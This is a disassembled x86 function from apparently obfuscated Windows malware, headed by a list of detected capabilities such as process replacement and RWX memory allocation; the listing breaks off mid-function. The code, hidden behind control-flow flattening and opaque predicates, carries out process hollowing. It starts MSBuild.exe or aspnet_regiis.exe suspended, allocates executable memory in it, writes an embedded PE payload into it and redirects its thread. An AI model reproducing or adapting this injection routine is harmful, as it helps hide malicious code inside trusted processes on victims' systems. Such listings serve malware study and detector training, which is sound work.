Function at 0x10002500
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xec
mov eax, dword [0x10064200]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x10065538]
mov eax, dword [0x10065534]
mov edx, ecx
add edx, 0x7b1ef635
sub edx, 1
sub edx, 0x7b1ef635
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0xee], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0xed], al
mov dword [ebp - 0xf4], 0x2ef032fd
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0xf8], eax
sub eax, 0x84a2c0a0
je 0x1000424c
jmp 0x1000257b
mov eax, dword [ebp - 0xf8]
sub eax, 0x86003116
je 0x100049a9
jmp 0x10002591
mov eax, dword [ebp - 0xf8]
sub eax, 0x88efa5d3
je 0x1000381b
jmp 0x100025a7
mov eax, dword [ebp - 0xf8]
sub eax, 0x89461801
je 0x10004882
jmp 0x100025bd
mov eax, dword [ebp - 0xf8]
sub eax, 0x8a637988
je 0x10004705
jmp 0x100025d3
mov eax, dword [ebp - 0xf8]
sub eax, 0x8d60100e
je 0x100041ee
jmp 0x100025e9
mov eax, dword [ebp - 0xf8]
sub eax, 0x8d91b98e
je 0x100034be
jmp 0x100025ff
mov eax, dword [ebp - 0xf8]
sub eax, 0x8ef480ad
je 0x10003116
jmp 0x10002615
mov eax, dword [ebp - 0xf8]
sub eax, 0x8f76d59f
je 0x1000380c
jmp 0x1000262b
mov eax, dword [ebp - 0xf8]
sub eax, 0x906dfb59
je 0x10004d2a
jmp 0x10002641
mov eax, dword [ebp - 0xf8]
sub eax, 0x91bb3b48
je 0x10003491
jmp 0x10002657
mov eax, dword [ebp - 0xf8]
sub eax, 0x9280715e
je 0x10004d86
jmp 0x1000266d
mov eax, dword [ebp - 0xf8]
sub eax, 0x9284b8d0
je 0x100046f6
jmp 0x10002683
mov eax, dword [ebp - 0xf8]
sub eax, 0x93011eda
je 0x100054ba
jmp 0x10002699
mov eax, dword [ebp - 0xf8]
sub eax, 0x9312ae6a
je 0x10003c91
jmp 0x100026af
mov eax, dword [ebp - 0xf8]
sub eax, 0x93628408
je 0x100035fa
jmp 0x100026c5
mov eax, dword [ebp - 0xf8]
sub eax, 0x93bb7d38
je 0x10004c3e
jmp 0x100026db
mov eax, dword [ebp - 0xf8]
sub eax, 0x93ee8494
je 0x10004bd0
jmp 0x100026f1
mov eax, dword [ebp - 0xf8]
sub eax, 0x94320f97
je 0x100053d0
jmp 0x10002707
mov eax, dword [ebp - 0xf8]
sub eax, 0x95ba27fc
je 0x100051a6
jmp 0x1000271d
mov eax, dword [ebp - 0xf8]
sub eax, 0x9c51f41f
je 0x10004570
jmp 0x10002733
mov eax, dword [ebp - 0xf8]
sub eax, 0x9d63d993
je 0x10004142
jmp 0x10002749
mov eax, dword [ebp - 0xf8]
sub eax, 0x9eabe2ec
je 0x1000430b
jmp 0x1000275f
mov eax, dword [ebp - 0xf8]
sub eax, 0xa05109aa
je 0x10003c23
jmp 0x10002775
mov eax, dword [ebp - 0xf8]
sub eax, 0xa256805b
je 0x1000366d
jmp 0x1000278b
mov eax, dword [ebp - 0xf8]
sub eax, 0xa5d68482
je 0x10003db8
jmp 0x100027a1
mov eax, dword [ebp - 0xf8]
sub eax, 0xa6526892
je 0x100050cc
jmp 0x100027b7
mov eax, dword [ebp - 0xf8]
sub eax, 0xab4401ea
je 0x10003ade
jmp 0x100027cd
mov eax, dword [ebp - 0xf8]
sub eax, 0xb242e606
je 0x10003a68
jmp 0x100027e3
mov eax, dword [ebp - 0xf8]
sub eax, 0xb29dc9d0
je 0x1000441c
jmp 0x100027f9
mov eax, dword [ebp - 0xf8]
sub eax, 0xb2ad75e5
je 0x100032af
jmp 0x1000280f
mov eax, dword [ebp - 0xf8]
sub eax, 0xb52c4873
je 0x100054a0
jmp 0x10002825
mov eax, dword [ebp - 0xf8]
sub eax, 0xb875f85e
je 0x100033b6
jmp 0x1000283b
mov eax, dword [ebp - 0xf8]
sub eax, 0xba9f618e
je 0x100051dd
jmp 0x10002851
mov eax, dword [ebp - 0xf8]
sub eax, 0xc3045d69
je 0x10005394
jmp 0x10002867
mov eax, dword [ebp - 0xf8]
sub eax, 0xc433c76e
je 0x10003897
jmp 0x1000287d
mov eax, dword [ebp - 0xf8]
sub eax, 0xc44a15d4
je 0x100048f8
jmp 0x10002893
mov eax, dword [ebp - 0xf8]
sub eax, 0xc46c7fed
je 0x100050ab
jmp 0x100028a9
mov eax, dword [ebp - 0xf8]
sub eax, 0xc8829de9
je 0x100043f3
jmp 0x100028bf
mov eax, dword [ebp - 0xf8]
sub eax, 0xca004663
je 0x10003e95
jmp 0x100028d5
mov eax, dword [ebp - 0xf8]
sub eax, 0xcafdfadd
je 0x100047b8
jmp 0x100028eb
mov eax, dword [ebp - 0xf8]
sub eax, 0xd138d731
je 0x1000431a
jmp 0x10002901
mov eax, dword [ebp - 0xf8]
sub eax, 0xd2a3ec32
je 0x10004a7b
jmp 0x10002917
mov eax, dword [ebp - 0xf8]
sub eax, 0xd9b80be7
je 0x10004fdc
jmp 0x1000292d
mov eax, dword [ebp - 0xf8]
sub eax, 0xddd10f4a
je 0x100054c9
jmp 0x10002943
mov eax, dword [ebp - 0xf8]
sub eax, 0xe075ea05
je 0x10004669
jmp 0x10002959
mov eax, dword [ebp - 0xf8]
sub eax, 0xe0b0a4e7
je 0x10003c06
jmp 0x1000296f
mov eax, dword [ebp - 0xf8]
sub eax, 0xe38e347b
je 0x10005055
jmp 0x10002985
mov eax, dword [ebp - 0xf8]
sub eax, 0xe3a10d3e
je 0x10005420
jmp 0x1000299b
mov eax, dword [ebp - 0xf8]
sub eax, 0xe8feaf9f
je 0x100037a6
jmp 0x100029b1
mov eax, dword [ebp - 0xf8]
sub eax, 0xec07b507
je 0x10003d9a
jmp 0x100029c7
mov eax, dword [ebp - 0xf8]
sub eax, 0xf13172dc
je 0x10004b89
jmp 0x100029dd
mov eax, dword [ebp - 0xf8]
sub eax, 0xf90d1fe6
je 0x100045fb
jmp 0x100029f3
mov eax, dword [ebp - 0xf8]
sub eax, 0xfaa5f717
je 0x100041df
jmp 0x10002a09
mov eax, dword [ebp - 0xf8]
sub eax, 0xfc494e14
je 0x10004553
jmp 0x10002a1f
mov eax, dword [ebp - 0xf8]
sub eax, 0xff187be4
je 0x1000474a
jmp 0x10002a35
mov eax, dword [ebp - 0xf8]
sub eax, 0x3342ea
je 0x100053a3
jmp 0x10002a4b
mov eax, dword [ebp - 0xf8]
sub eax, 0x12d9549
je 0x1000520c
jmp 0x10002a61
mov eax, dword [ebp - 0xf8]
sub eax, 0x401420e
je 0x10003424
jmp 0x10002a77
mov eax, dword [ebp - 0xf8]
sub eax, 0x62ba5d0
je 0x10003ea4
jmp 0x10002a8d
mov eax, dword [ebp - 0xf8]
sub eax, 0x8d60152
je 0x10003730
jmp 0x10002aa3
mov eax, dword [ebp - 0xf8]
sub eax, 0xb2bbda4
je 0x100051fa
jmp 0x10002ab9
mov eax, dword [ebp - 0xf8]
sub eax, 0xc8ea26d
je 0x1000418b
jmp 0x10002acf
mov eax, dword [ebp - 0xf8]
sub eax, 0xd3728c6
je 0x10004124
jmp 0x10002ae5
mov eax, dword [ebp - 0xf8]
sub eax, 0xfc8e26f
je 0x10004544
push eax
mov eax, esp
mov dword [ebp - 0xec], eax
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
push eax
mov eax, esp
mov dword [ebp - 0xe0], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0xdc], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0xd8], eax
push eax
mov eax, esp
mov dword [ebp - 0xd4], eax
push eax
mov eax, esp
mov dword [ebp - 0xd0], eax
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
sub esp, 0x1c
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0xa8], eax
mov ecx, dword [0x10065538]
mov eax, dword [0x10065534]
mov edx, ecx
add edx, 0xff2f0ba5
sub edx, 1
sub edx, 0xff2f0ba5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa6526892
mov ecx, 0x1ea56051
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10005583
push eax
mov eax, esp
mov dword [ebp - 0x9c], eax
push eax
mov eax, esp
mov dword [ebp - 0x98], eax
push eax
mov eax, esp
mov dword [ebp - 0x94], eax
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4b200
call section..text
add esp, 8
mov eax, dword [ebp - 0xec]
lea ecx, section..data
mov dword [eax], ecx
mov eax, dword [ebp - 0xec]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xe8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
movzx eax, word [eax]
cmp eax, 0x5a4d
sete al
and al, 1
mov byte [ebp - 0x8d], al
mov ecx, dword [0x10065538]
mov eax, dword [0x10065534]
mov edx, ecx
sub edx, 0xbaa5533f
sub edx, 1
add edx, 0xbaa5533f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x66191064
mov ecx, 0x29be1b13
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10005583
mov ecx, dword [0x10065538]
mov eax, dword [0x10065534]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6da675b7
mov ecx, 0x401420e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10005583
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov dword [ebp - 0x88], eax
mov eax, dword [0x10065538]
mov ecx, dword [0x10065534]
mov edx, eax
add edx, 0xfc507913
sub edx, 1
sub edx, 0xfc507913
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6da675b7
mov ecx, 0x91bb3b48
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10005583
mov dword [ebp - 0xf4], 0x5b02942d
jmp 0x10005583
mov ecx, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x84]
sub ecx, 0x52c2a10
add ecx, eax
add ecx, 0x52c2a10
mov eax, dword [ebp - 0xe0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe0]
mov edx, dword [eax]
mov eax, 0xc46c7fed
mov ecx, 0x495b918d
cmp dword [edx], 0x4550
cmove eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10005583
mov dword [ebp - 0xf4], 0x56c12b54
jmp 0x10005583
mov eax, dword [ebp - 0x7c]
cmp dword [eax], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0xd4]
mov byte [eax], cl
mov eax, dword [ebp - 0xd0]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0xd4]
mov al, byte [eax]
and al, 1
mov byte [ebp - 0x76], al
mov ecx, dword [0x10065538]
mov eax, dword [0x10065534]
mov edx, ecx
sub edx, 0x53156afa
sub edx, 1
add edx, 0x53156afa
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x95ba27fc
mov ecx, 0x79670a8a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10005583
mov ecx, dword [0x10065538]
mov eax, dword [0x10065534]
mov edx, ecx
add edx, 0x1e6294d1
sub edx, 1
sub edx, 0x1e6294d1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xba9f618e
mov ecx, 0xe8feaf9f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10005583
mov eax, dword [ebp - 0xd0]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov eax, dword [0x10065538]
mov ecx, dword [0x10065534]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xba9f618e
mov ecx, 0x4c899ab3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10005583
mov dword [ebp - 0xf4], 0x88efa5d3
jmp 0x10005583
mov eax, dword [ebp - 0xd0]
mov edx, dword [eax]
mov eax, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0xd8]
xor esi, esi
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x75], al
mov dword [ebp - 0xf4], 0xc433c76e
jmp 0x10005583
mov dl, byte [ebp - 0x75]
mov eax, 0x5909e865
mov ecx, 0x35120db4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10005583
mov ecx, dword [0x10065538]
mov eax, dword [0x10065534]
mov edx, ecx
add edx, 0xc52f705c
sub edx, 1
sub edx, 0xc52f705c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x12d9549
mov ecx, 0xab4401ea
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10005583
mov edx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0xdc]
mov esi, dword [eax]
mov ecx, dword [ebp - 0xec]
mov eax, dword [ebp - 0xc0]
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0xe0]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0xdc]
mov edx, dword [edx]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xc8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc8]
cmp dword [eax], 0
sete al
and al, 1
mov byte [ebp - 0x65], al
mov ecx, dword [0x10065538]
mov eax, dword [0x10065534]
mov edx, ecx
sub edx, 0x234be6b0
sub edx, 1
add edx, 0x234be6b0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x12d9549
mov ecx, 0x443c1f90
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10005583
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x64], eax
mov dword [ebp - 0xf4], 0xa05109aa
jmp 0x10005583
mov eax, dword [ebp - 0xdc]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x64]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xc8]
mov dword [eax], ecx
mov dword [ebp - 0xf4], 0x6bb4abd6
jmp 0x10005583
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xec]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xc8]
mov edx, dword [edx]
mov esi, dword [ebp - 0xdc]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xec]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
add ecx, dword [eax + 0x3c]
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0xbc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe0]
mov ecx, dword [eax]
xor eax, eax
sub eax, 0x18
sub ecx, eax
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
sub ecx, 0xc02375fb
add ecx, eax
add ecx, 0xc02375fb
mov eax, dword [ebp - 0xb8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb4]
mov dword [eax], 0
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0xb0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xac]
mov dword [eax], 0
mov dword [ebp - 0xf4], 0x5d59fc2f
jmp 0x10005583
mov dl, byte [ebp - 0x59]
mov eax, 0xb29dc9d0
mov ecx, 0xa5d68482
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10005583
mov eax, dword [0x10065538]
mov ecx, dword [0x10065534]
mov edx, eax
sub edx, 0x50f0ba0
sub edx, 1
add edx, 0x50f0ba0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1942e62a
mov ecx, 0x4f8a6978
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10005583
mov dword [ebp - 0xf4], 0x62ba5d0
jmp 0x10005583
mov eax, dword [0x10065538]
mov ecx, dword [0x10065534]
mov edx, eax
sub edx, 0xdf55d349
sub edx, 1
add edx, 0xdf55d349
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3cfa5346
mov ecx, 0x7a4f33bf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10005583
mov dl, byte [ebp - 0x4d]
mov eax, 0x84a2c0a0
mov ecx, 0x9d63d993
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10005583
mov eax, dword [0x10065538]
mov ecx, dword [0x10065534]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4bb99a06
mov ecx, 0xc8ea26d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10005583
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov dword [ebp - 0x4c], eax
mov eax, dword [0x10065538]
mov ecx, dword [0x10065534]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4bb99a06
mov ecx, 0xfaa5f717
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10005583
mov dword [ebp - 0xf4], 0x8d60100e
jmp 0x10005583
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xac]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x4c]
add ecx, eax
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
mov edx, dword [ebp - 0xbc]
mov edx, dword [edx]
mov esi, dword [ebp - 0xac]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0xc]
add eax, 0x489ba3b3
sub eax, edx
sub eax, 0x489ba3b3
add ecx, eax
mov eax, dword [ebp - 0xb4]
mov dword [eax], ecx
mov dword [ebp - 0xf4], 0x84a2c0a0
jmp 0x10005583
mov eax, dword [0x10065538]
mov ecx, dword [0x10065534]
mov edx, eax
sub edx, 0xf4d0f030
sub edx, 1
add edx, 0xf4d0f030
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc3045d69
mov ecx, 0x124afac4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10005583
mov dword [ebp - 0xf4], 0xd138d731
jmp 0x10005583
mov eax, dword [0x10065538]
mov ecx, dword [0x10065534]
mov edx, eax
add edx, 0x20f4507f
sub edx, 1
sub edx, 0x20f4507f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3342ea
mov ecx, 0x64de7fbb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10005583
mov dword [ebp - 0xf4], 0x21f92fa2
jmp 0x10005583
mov eax, dword [ebp - 0xc4]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x41], al
mov dword [ebp - 0xf4], 0x7c00ad0e
jmp 0x10005583
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0xf4], 0x9c51f41f
jmp 0x10005583
mov edx, dword [ebp - 0x38]
mov eax, 0x1a447df7
mov ecx, 0x320feb55
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10005583
mov ecx, dword [0x10065538]
mov eax, dword [0x10065534]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x94320f97
mov ecx, 0xe075ea05
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10005583
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x34]
mov dword [eax], ecx
mov eax, dword [ebp - 0x9c]
mov dword [eax], 0
mov ecx, dword [0x10065538]
mov eax, dword [0x10065534]
mov edx, ecx
add edx, 0x8d0f7f86
sub edx, 1
sub edx, 0x8d0f7f86
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x94320f97
mov ecx, 0x9284b8d0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10005583
mov dword [ebp - 0xf4], 0x8a637988
jmp 0x10005583
mov eax, dword [ebp - 0x9c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xa4]
cmp eax, dword [ecx]
setb al
and al, 1
mov byte [ebp - 0x2e], al
mov dword [ebp - 0xf4], 0x3b7cae28
jmp 0x10005583
mov ecx, dword [0x10065538]
mov eax, dword [0x10065534]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4901d112
mov ecx, 0xcafdfadd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10005583
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ecx]
movzx eax, word [eax + ecx*2]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xf000
mov ecx, 0xffffffff
xor ecx, 0x828981ea
or eax, edx
or ecx, 0x828981ea
xor eax, 0xffffffff
and eax, ecx
cmp eax, 3
sete al
and al, 1
mov byte [ebp - 0x2d], al
mov ecx, dword [0x10065538]
mov eax, dword [0x10065534]
mov edx, ecx
sub edx, 0xf82a9997
sub edx, 1
add edx, 0xf82a9997
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4901d112
mov ecx, 0x356d0342
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10005583
mov ecx, dword [0x10065538]
mov eax, dword [0x10065534]
mov edx, ecx
add edx, 0x5bdd2d1f
sub edx, 1
sub edx, 0x5bdd2d1f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x195e0d7f
mov ecx, 0xc44a15d4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10005583
mov ecx, dword [0x10065538]
mov eax, dword [0x10065534]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
